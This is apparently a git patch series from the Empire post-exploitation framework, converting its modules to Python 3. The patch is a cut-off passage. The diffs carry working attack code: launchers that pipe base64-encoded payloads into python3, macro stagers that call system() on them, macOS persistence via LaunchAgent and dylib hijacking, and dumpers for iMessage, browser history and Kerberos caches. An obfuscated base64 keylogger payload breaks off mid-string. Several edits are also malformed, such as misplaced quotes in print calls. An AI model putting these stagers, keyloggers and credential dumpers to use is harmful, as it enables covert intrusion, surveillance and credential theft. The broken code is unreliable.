From c7a29b4e17ea39fab1d4310f016129b956543ab1 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 17:50:46 -0400 Subject: [PATCH 01/14] Updated python3 calls throughout empire --- lib/common/ShellcodeRDI.py | 2 +- lib/common/pylnk.py | 2 +- lib/listeners/dbx.py | 2 +- lib/listeners/http.py | 2 +- lib/listeners/http_foreign.py | 2 +- lib/listeners/http_hop.py | 2 +- lib/listeners/redirector.py | 2 +- .../python/collection/osx/imessage_dump.py | 42 +++++++++---------- .../collection/osx/native_screenshot.py | 10 ++--- .../python/persistence/multi/desktopfile.py | 2 +- .../python/persistence/osx/CreateHijacker.py | 2 +- .../python/persistence/osx/LaunchAgent.py | 2 +- .../osx/LaunchAgentUserLandPersistence.py | 2 +- lib/stagers/multi/macro.py | 4 +- lib/stagers/osx/application.py | 2 +- lib/stagers/osx/dylib.py | 2 +- lib/stagers/osx/macro.py | 8 ++-- lib/stagers/osx/pkg.py | 2 +- 18 files changed, 46 insertions(+), 46 deletions(-) diff --git a/lib/common/ShellcodeRDI.py b/lib/common/ShellcodeRDI.py index 4c6880908..91527e98e 100644 --- a/lib/common/ShellcodeRDI.py +++ b/lib/common/ShellcodeRDI.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 # Author: Nick Landers (@monogas) import sys diff --git a/lib/common/pylnk.py b/lib/common/pylnk.py index dccd56ea8..c4f821ebd 100644 --- a/lib/common/pylnk.py +++ b/lib/common/pylnk.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 # # Python library for reading and writing Windows shortcut files (.lnk) # Copyright 2011 Tim-Christian Mundt diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index d737426b0..ec90bdab6 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -348,7 +348,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if encode: launchEncoded = base64.b64encode(launcherBase) - launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) + launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) return launcher else: return launcherBase diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 27945a86e..c945a76a8 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -532,7 +532,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8') if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode('UTF-8') - launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python3 &" % ( + launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % ( launchEncoded) return launcher else: diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py index cadddff8d..6cd9a0fa8 100644 --- a/lib/listeners/http_foreign.py +++ b/lib/listeners/http_foreign.py @@ -331,7 +331,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if encode: launchEncoded = base64.b64encode(launcherBase) - launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) + launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) return launcher else: return launcherBase diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index 265a5f785..9429014f1 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -302,7 +302,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if encode: launchEncoded = base64.b64encode(launcherBase).decode("UTF-8") - launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) + launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) return launcher else: return launcherBase diff --git a/lib/listeners/redirector.py b/lib/listeners/redirector.py index 47e7066ad..843db9764 100644 --- a/lib/listeners/redirector.py +++ b/lib/listeners/redirector.py @@ -326,7 +326,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if encode: launchEncoded = base64.b64encode(launcherBase).decode("utf-8") - launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) + launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) return launcher else: return launcherBase diff --git a/lib/modules/python/collection/osx/imessage_dump.py b/lib/modules/python/collection/osx/imessage_dump.py index 5b095124a..c8817782e 100644 --- a/lib/modules/python/collection/osx/imessage_dump.py +++ b/lib/modules/python/collection/osx/imessage_dump.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 from builtins import str from builtins import object class Module(object): @@ -108,9 +108,9 @@ def generate(self, obfuscate=False, obfuscationCommand=""): class imessage_dump(): def __init__(self): try: - print "[*] Message Enumeration Started!" + print("[*] Message Enumeration Started!") except Exception as e: - print e + print(e) def func(self, count, searchMessage, debug, searchPhrase): try: import sqlite3 @@ -172,11 +172,11 @@ def func(self, count, searchMessage, debug, searchPhrase): line['Message'] = str(self.RemoveUnicode(item[1])) except Exception as e: if debug: - print " [Debug] Issues with object creation (line 55): " + str(e) + print(" [Debug] Issues with object creation (line 55): " + str(e)) dictList.append(line) except Exception as e: if debug: - print " [Debug] Isssue at object creation (line 40): " + str(e) + print(" [Debug] Isssue at object creation (line 40): " + str(e)) pass #print e conn.close() @@ -189,32 +189,32 @@ def func(self, count, searchMessage, debug, searchPhrase): if dic['Message']: Msg = dic['Message'].lower() if Msg.find(searchPhrase.lower()) != -1: - for key in dic.keys(): - print " %s : %s" %(key, dic[key]) + for key in list(dic.keys()): + print(" %s : %s" %(key, dic[key])) x += 1 - print '' + print('') except Exception as e: if debug: - print " [Debug] At Decode of Dict item for Message search (line 180): " + str(e) + print(" [Debug] At Decode of Dict item for Message search (line 180): " + str(e)) pass else: - for key in dic.keys(): + for key in list(dic.keys()): try: - print " %s : %s" %(key, dic[key]) + print(" %s : %s" %(key, dic[key])) except Exception as e: if debug: - print " [Debug] At Decode of Dict item (line 180): " + str(e) + print(" [Debug] At Decode of Dict item (line 180): " + str(e)) pass - print '' + print('') except Exception as e: - print "[!] Issue Decoding Dict Item: " + str(e) + print("[!] Issue Decoding Dict Item: " + str(e)) if searchMessage: - print "[!] Messages Matching Phrase: " + str(x) - print "[!] Messages in DataStore: " + str(len(statment)) + print("[!] Messages Matching Phrase: " + str(x)) + print("[!] Messages in DataStore: " + str(len(statment))) count = count * -1 - print "[!] Messages Enumerated: " + str(count) + print("[!] Messages Enumerated: " + str(count)) except Exception as e: - print e + print(e) # Close the Database handle def TimeConv(self, epoch, debug): import datetime @@ -224,7 +224,7 @@ def TimeConv(self, epoch, debug): return time except Exception as e: if debug: - print " [Debug] Issues Decoding epoch time: " + str(e) + print(" [Debug] Issues Decoding epoch time: " + str(e)) def RemoveUnicode(self, string): import re @@ -241,11 +241,11 @@ def RemoveUnicode(self, string): return CleanString except Exception as e: p = '[!] UTF8 Decoding issues Matching: ' + str(e) - print p + print(p) im = imessage_dump() im.func(count, searchMessage, debug, searchPhrase) except Exception as e: - print e""" + print(e)""" # add any arguments to the end exec diff --git a/lib/modules/python/collection/osx/native_screenshot.py b/lib/modules/python/collection/osx/native_screenshot.py index 19efe1d65..99fac8462 100644 --- a/lib/modules/python/collection/osx/native_screenshot.py +++ b/lib/modules/python/collection/osx/native_screenshot.py @@ -36,7 +36,7 @@ def __init__(self, mainMenu, params=[]): 'Language' : 'python', # the minimum language version needed - 'MinLanguageVersion' : '2.6', + 'MinLanguageVersion' : '3.6', # list of any references/other comments 'Comments': [] @@ -77,7 +77,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): from AppKit import * import binascii except ImportError: - print "Missing required module..." + print("Missing required module...") onScreenWindows = CG.CGWindowListCreate(CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID) desktopElements = Foundation.CFArrayCreateMutableCopy(None, 0, onScreenWindows) @@ -86,8 +86,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): props = NSDictionary() imageData = rep.representationUsingType_properties_(NSPNGFileType,props) imageString = str(imageData).strip('<').strip('>>').strip('native-selector bytes of') -hexstring = binascii.hexlify(imageString) -hex_data = hexstring.decode('hex') -print hex_data +hexstring = binascii.hexlify(imageString.encode('UTF-8')) +hex_data = hexstring.decode('UTF-8') +print(hex_data) """ return script diff --git a/lib/modules/python/persistence/multi/desktopfile.py b/lib/modules/python/persistence/multi/desktopfile.py index c93a842c3..17abdf762 100644 --- a/lib/modules/python/persistence/multi/desktopfile.py +++ b/lib/modules/python/persistence/multi/desktopfile.py @@ -85,7 +85,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): fileName = self.options['FileName']['Value'] listenerName = self.options['Listener']['Value'] launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python') - launcher = launcher.strip('echo').strip(' | /usr/bin/python &') + launcher = launcher.strip('echo').strip(' | python3 &') dtSettings = """ [Desktop Entry] Name=%s diff --git a/lib/modules/python/persistence/osx/CreateHijacker.py b/lib/modules/python/persistence/osx/CreateHijacker.py index 57c5bb3ca..0135d99bb 100644 --- a/lib/modules/python/persistence/osx/CreateHijacker.py +++ b/lib/modules/python/persistence/osx/CreateHijacker.py @@ -109,7 +109,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): safeChecks = self.options['SafeChecks']['Value'] arch = self.options['Arch']['Value'] launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks) - launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") dylibBytes = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker='true') encodedDylib = base64.b64encode(dylibBytes) dylib = self.options['LegitimateDylibPath']['Value'] diff --git a/lib/modules/python/persistence/osx/LaunchAgent.py b/lib/modules/python/persistence/osx/LaunchAgent.py index 83a5ca300..f1d6373b4 100644 --- a/lib/modules/python/persistence/osx/LaunchAgent.py +++ b/lib/modules/python/persistence/osx/LaunchAgent.py @@ -93,7 +93,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): userAgent = self.options['UserAgent']['Value'] safeChecks = self.options['SafeChecks']['Value'] launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks) - launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") machoBytes = self.mainMenu.stagers.generate_macho(launcherCode=launcher) encBytes = base64.b64encode(machoBytes) diff --git a/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index 26a2bb524..399a1c266 100644 --- a/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -93,7 +93,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): userAgent = self.options['UserAgent']['Value'] safeChecks = self.options['SafeChecks']['Value'] launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks) - launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") plistSettings = """ diff --git a/lib/stagers/multi/macro.py b/lib/stagers/multi/macro.py index 57b3fa44f..e4a9d15d1 100644 --- a/lib/stagers/multi/macro.py +++ b/lib/stagers/multi/macro.py @@ -204,8 +204,8 @@ def formStr(varstr, instr): Dim result As Long Dim str As String %s - 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &") - result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &") + 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &") + result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &") #Else 'Windows Rendering Dim objWeb As Object diff --git a/lib/stagers/osx/application.py b/lib/stagers/osx/application.py index 5e7375919..a00ac4bfc 100644 --- a/lib/stagers/osx/application.py +++ b/lib/stagers/osx/application.py @@ -97,6 +97,6 @@ def generate(self): else: disarm = False - launcher = launcher.strip('echo').strip(' | /usr/bin/python3 &').strip("\"") + launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm) return ApplicationZip diff --git a/lib/stagers/osx/dylib.py b/lib/stagers/osx/dylib.py index 5a796f7ab..415cffa64 100644 --- a/lib/stagers/osx/dylib.py +++ b/lib/stagers/osx/dylib.py @@ -90,7 +90,7 @@ def generate(self): return "" else: - launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker) return dylib diff --git a/lib/stagers/osx/macro.py b/lib/stagers/osx/macro.py index 9b1bc8f43..4d397e200 100644 --- a/lib/stagers/osx/macro.py +++ b/lib/stagers/osx/macro.py @@ -129,8 +129,8 @@ def formStr(varstr, instr): Dim result As Long Dim cmd As String %s - 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &") - result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &") + 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") + result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") #End If End Function""" %(payload) elif version == "new": @@ -153,8 +153,8 @@ def formStr(varstr, instr): Dim result As LongPtr Dim cmd As String %s - 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &") - result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &", "r") + 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") + result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &", "r") #End If End Function""" % (payload) else: diff --git a/lib/stagers/osx/pkg.py b/lib/stagers/osx/pkg.py index 15ab2ee4a..f449924d1 100644 --- a/lib/stagers/osx/pkg.py +++ b/lib/stagers/osx/pkg.py @@ -91,7 +91,7 @@ def generate(self): if AppName == '': AppName = "Update" Disarm=True - launcherCode = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + launcherCode = launcher.strip('echo').strip(' | python3 &').strip("\"") ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm) pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName) return pkginstaller From 61db47380edbdbb700f5754c0ffbc8e43da44cb0 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 18:30:21 -0400 Subject: [PATCH 02/14] python3 conversion fixes --- data/agent/stagers/dropbox.py | 2 +- lib/common/empire.py | 6 ++--- lib/common/listeners.py | 4 ++-- lib/listeners/dbx.py | 2 +- .../credentials/invoke_internal_monologue.py | 2 +- .../python/collection/osx/browser_dump.py | 24 +++++++++---------- .../python/collection/osx/kerberosdump.py | 16 ++++++------- .../python/collection/osx/keylogger.py | 4 ++-- .../python/collection/osx/pillage_user.py | 2 +- .../python/collection/osx/screenshot.py | 2 +- .../privesc/linux/linux_priv_checker.py | 5 ++-- 11 files changed, 34 insertions(+), 35 deletions(-) diff --git a/data/agent/stagers/dropbox.py b/data/agent/stagers/dropbox.py index 38ec345e8..a7776cc47 100644 --- a/data/agent/stagers/dropbox.py +++ b/data/agent/stagers/dropbox.py @@ -23,7 +23,7 @@ def post_message(uri, data): global headers req = urllib2.Request(uri) - for key, value in headers.iteritems(): + for key, value in headers.items(): req.add_header("%s"%(key),"%s"%(value)) if data: diff --git a/lib/common/empire.py b/lib/common/empire.py index 75e9061a9..59f5c98e2 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3393,7 +3393,7 @@ def do_searchmodule(self, line): def do_osx_screenshot(self, line): "Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe" - + if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']: module = self.mainMenu.modules.modules['python/collection/osx/native_screenshot'] module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) @@ -3427,9 +3427,9 @@ def do_cat(self, line): for line in f: output += line - print output + print(output) except Exception as e: - print str(e) + print(str(e)) """ % (line) # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd)) diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 20edde79b..3b1263027 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -75,8 +75,8 @@ def set_listener_option(self, listenerName, option, value): Sets an option for the given listener module or all listener module. """ - # for name, listener in self.listeners.iteritems(): - # for listenerOption, optionValue in listener.options.iteritems(): + # for name, listener in self.listeners.items(): + # for listenerOption, optionValue in listener.options.items(): # if listenerOption == option: # listener.options[option]['Value'] = str(value) diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index ec90bdab6..3236b8d5b 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -653,7 +653,7 @@ def send_message(packets=None): def post_message(uri, data, headers): req = urllib2.Request(uri) headers['Authorization'] = "Bearer REPLACE_API_TOKEN" - for key, value in headers.iteritems(): + for key, value in headers.items(): req.add_header("%s"%(key),"%s"%(value)) if data: diff --git a/lib/modules/powershell/credentials/invoke_internal_monologue.py b/lib/modules/powershell/credentials/invoke_internal_monologue.py index df0be2871..d1f68630a 100644 --- a/lib/modules/powershell/credentials/invoke_internal_monologue.py +++ b/lib/modules/powershell/credentials/invoke_internal_monologue.py @@ -99,7 +99,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): try: f = open(moduleSource, 'r') except: - print (helpers.color("[!] Could not read module source path at: " + str(moduleSource))) + print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) return "" moduleCode = f.read() diff --git a/lib/modules/python/collection/osx/browser_dump.py b/lib/modules/python/collection/osx/browser_dump.py index bb8109b8a..a4e55f99f 100644 --- a/lib/modules/python/collection/osx/browser_dump.py +++ b/lib/modules/python/collection/osx/browser_dump.py @@ -83,13 +83,13 @@ def generate(self, obfuscate=False, obfuscationCommand=""): class browser_dump(): def __init__(self): try: - print "[*] Dump Started!" + print("[*] Dump Started!)" except Exception as e: - print e + print(e) def func(self, number): - print "Dumping safari..." - print "" + print("Dumping safari...)" + print("") try: from os.path import expanduser @@ -102,14 +102,14 @@ def func(self, number): statment = cur.fetchall() number = %s * -1 for item in statment[number:]: - print item + print(item) conn.close() except Exception as e: - print e - print "" - print "Dumping Chrome..." - print "" + print(e) + print("") + print("Dumping Chrome...") + print("") try: from os.path import expanduser @@ -121,12 +121,12 @@ def func(self, number): statment = cur.fetchall() number = %s * -1 for item in statment[number:]: - print item + print(item) conn.close() except Exception as e: - print "error" - print e + print("error") + print(e) s = browser_dump() diff --git a/lib/modules/python/collection/osx/kerberosdump.py b/lib/modules/python/collection/osx/kerberosdump.py index 42834ca79..21c1ad8d7 100644 --- a/lib/modules/python/collection/osx/kerberosdump.py +++ b/lib/modules/python/collection/osx/kerberosdump.py @@ -76,23 +76,23 @@ def generate(self, obfuscate=False, obfuscationCommand=""): kerbdump = \""" ps auxwww |grep /loginwindow |grep -v "grep /loginwindow" |while read line do - USER=`echo "$line" | awk '{print $1}'` - PID=`echo "$line" | awk '{print $2}'` + USER=`echo "$line" | awk '{print($1)}'` + PID=`echo "$line" | awk '{print($2)}'` USERID=`id -u "$USER"` launchctl asuser $USERID kcc copy_cred_cache /tmp/$USER.ccache done ""\" try: - print "Executing..." + print("Executing...)" output = subprocess.Popen(kerbdump, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() - print output + print(output) except Exception as e: - print e + print(e) try: - print "Listing available kerberos files.." + print("Listing available kerberos files..") output = subprocess.Popen('ls /tmp/*.ccache', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() - print output + print(output) except Exception as e: - print e + print(e) """ return script \ No newline at end of file diff --git a/lib/modules/python/collection/osx/keylogger.py b/lib/modules/python/collection/osx/keylogger.py index 6d2b11a1b..07698b3f6 100644 --- a/lib/modules/python/collection/osx/keylogger.py +++ b/lib/modules/python/collection/osx/keylogger.py @@ -80,8 +80,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'ZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8NCiAgUlVCWV9WRVJTSU9OLnRvX2YgPj0gMS45ICYmIFJVQllfVkVSU0lPTi50b19mPDIuMw0KZW5kDQpkZWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAyLjMNCmVuZA0KcmVxdWlyZSAndGhyZWFkJw0KcmVxdWlyZSAnZmlkZGxlJyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdmaWRkbGUvaW1wb3J0JyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdkbCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCnJlcXVpcmUgJ2RsL2ltcG9ydCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCkltcG9ydGVyID0gaWYgZGVmaW5lZD8oREw6OkltcG9ydGVyKSB0aGVuIGV4dGVuZCBETDo6SW1wb3J0ZXIgZWxzaWYgZGVmaW5lZD8oRmlkZGxlOjpJbXBvcnRlcikgdGhlbiBleHRlbmQgRmlkZGxlOjpJbXBvcnRlciBlbHNlIERMOjpJbXBvcnRhYmxlIGVuZA0KZGVmIG1hbGxvY3Moc2l6ZSkNCiAgaWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICAgIEZpZGRsZTo6UG9pbnRlci5tYWxsb2Moc2l6ZSkNCiAgZWxzaWYgcnVieV8xXzlfb3JfaGlnaGVyPyANCiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkNCiAgZWxzZQ0KICAgIERMOjptYWxsb2Moc2l6ZSkNCiAgZW5kDQplbmQNCmlmIG5vdCBydWJ5XzFfOV9vcl9oaWdoZXI/DQogIG1vZHVsZSBETA0KICAgIG1vZHVsZSBJbXBvcnRhYmxlDQogICAgICBkZWYgbWV0aG9kX21pc3NpbmcobWV0aCwgKmFyZ3MsICZibG9jaykNCiAgICAgICAgc3RyID0gbWV0aC50b19zDQogICAgICAgIGxvd2VyID0gc3RyWzAsMV0uZG93bmNhc2UgKyBzdHJbMS4uLTFdDQogICAgICAgIGlmIHNlbGYucmVzcG9uZF90bz8gbG93ZXINCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzDQogICAgICAgIGVsc2UNCiAgICAgICAgICBzdXBlcg0KICAgICAgICBlbmQNCiAgICAgIGVuZA0KICAgIGVuZA0KICBlbmQNCmVuZA0KU01fS0NIUl9DQUNIRSA9IDM4DQpTTV9DVVJSRU5UX1NDUklQVCA9IC0yDQpNQVhfQVBQX05BTUUgPSA4MA0KbW9kdWxlIENhcmJvbg0KICBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQogICAgZXh0ZW5kIEZpZGRsZTo6SW1wb3J0ZXINCiAgZWxzZQ0KICAgIGV4dGVuZCBETDo6SW1wb3J0ZXINCiAgZW5kDQogIGRsbG9hZCAnL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvQ2FyYm9uLmZyYW1ld29yay9DYXJib24nDQogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJw0KICBleHRlcm4gJ3ZvaWQgR2V0RnJvbnRQcm9jZXNzKFByb2Nlc3NTZXJpYWxOdW1iZXIgKiknDQogIGV4dGVybiAndm9pZCBHZXRLZXlzKHZvaWQgKiknDQogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgS2V5VHJhbnNsYXRlKHZvaWQgKiwgaW50LCB2b2lkICopJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgQ0ZTdHJpbmdHZXRDU3RyaW5nKHZvaWQgKiwgdm9pZCAqLCBpbnQsIGludCknDQogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknDQplbmQNCnBzbiA9IG1hbGxvY3MoMTYpDQpuYW1lID0gbWFsbG9jcygxNikNCm5hbWVfY3N0ciA9IG1hbGxvY3MoTUFYX0FQUF9OQU1FKQ0Ka2V5bWFwID0gbWFsbG9jcygxNikNCnN0YXRlID0gbWFsbG9jcyg4KQ0KaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQ0KcHJldl9kb3duID0gSGFzaC5uZXcoZmFsc2UpDQpsYXN0V2luZG93ID0gIiINCndoaWxlICh0cnVlKSBkbw0KICBDYXJib24uR2V0RnJvbnRQcm9jZXNzKHBzbi5yZWYpDQogIENhcmJvbi5Db3B5UHJvY2Vzc05hbWUocHNuLnJlZiwgbmFtZS5yZWYpDQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkNCiAgc3RyX2xlbiA9IENhcmJvbi5DRlN0cmluZ0dldExlbmd0aChuYW1lKQ0KICBjb3BpZWQgPSBDYXJib24uQ0ZTdHJpbmdHZXRDU3RyaW5nKG5hbWUsIG5hbWVfY3N0ciwgTUFYX0FQUF9OQU1FLCAweDA4MDAwMTAwKSA+IDANCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQNCiAgYnl0ZXMgPSBrZXltYXAudG9fc3RyDQogIGNhcF9mbGFnID0gZmFsc2UNCiAgYXNjaWkgPSAwDQogIGN0cmxjaGFyID0gIiINCiAgKDAuLi4xMjgpLmVhY2ggZG8gfGt8DQogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApDQogICAgICBpZiBub3QgcHJldl9kb3duW2tdDQogICAgICAgIGNhc2Ugaw0KICAgICAgICAgIHdoZW4gMzYNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltlbnRlcl0iDQogICAgICAgICAgd2hlbiA0OA0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iDQogICAgICAgICAgd2hlbiA0OQ0KICAgICAgICAgICAgY3RybGNoYXIgPSAiICINCiAgICAgICAgICB3aGVuIDUxDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZGVsZXRlXSINCiAgICAgICAgICB3aGVuIDUzDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSINCiAgICAgICAgICB3aGVuIDU1DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY21kXSINCiAgICAgICAgICB3aGVuIDU2DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbc2hpZnRdIg0KICAgICAgICAgIHdoZW4gNTcNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSINCiAgICAgICAgICB3aGVuIDU4DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbb3B0aW9uXSINCiAgICAgICAgICB3aGVuIDU5DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY3RybF0iDQogICAgICAgICAgd2hlbiA2Mw0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSINCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBjdHJsY2hhciA9ICIiDQogICAgICAgIGVuZA0KICAgICAgICBpZiBjdHJsY2hhciA9PSAiIiBhbmQgYXNjaWkgPT0gMA0KICAgICAgICAgIGtjaHIgPSBDYXJib24uR2V0U2NyaXB0VmFyaWFibGUoU01fS0NIUl9DQUNIRSwgU01fQ1VSUkVOVF9TQ1JJUFQpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IGN1cnJfYXNjaWkgPj4gMTYgaWYgY3Vycl9hc2NpaSA8IDENCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwDQogICAgICAgICAgICBjYXBfZmxhZyA9IHRydWUNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkNCiAgICAgICAgICBlbmQNCiAgICAgICAgZWxzaWYgY3RybG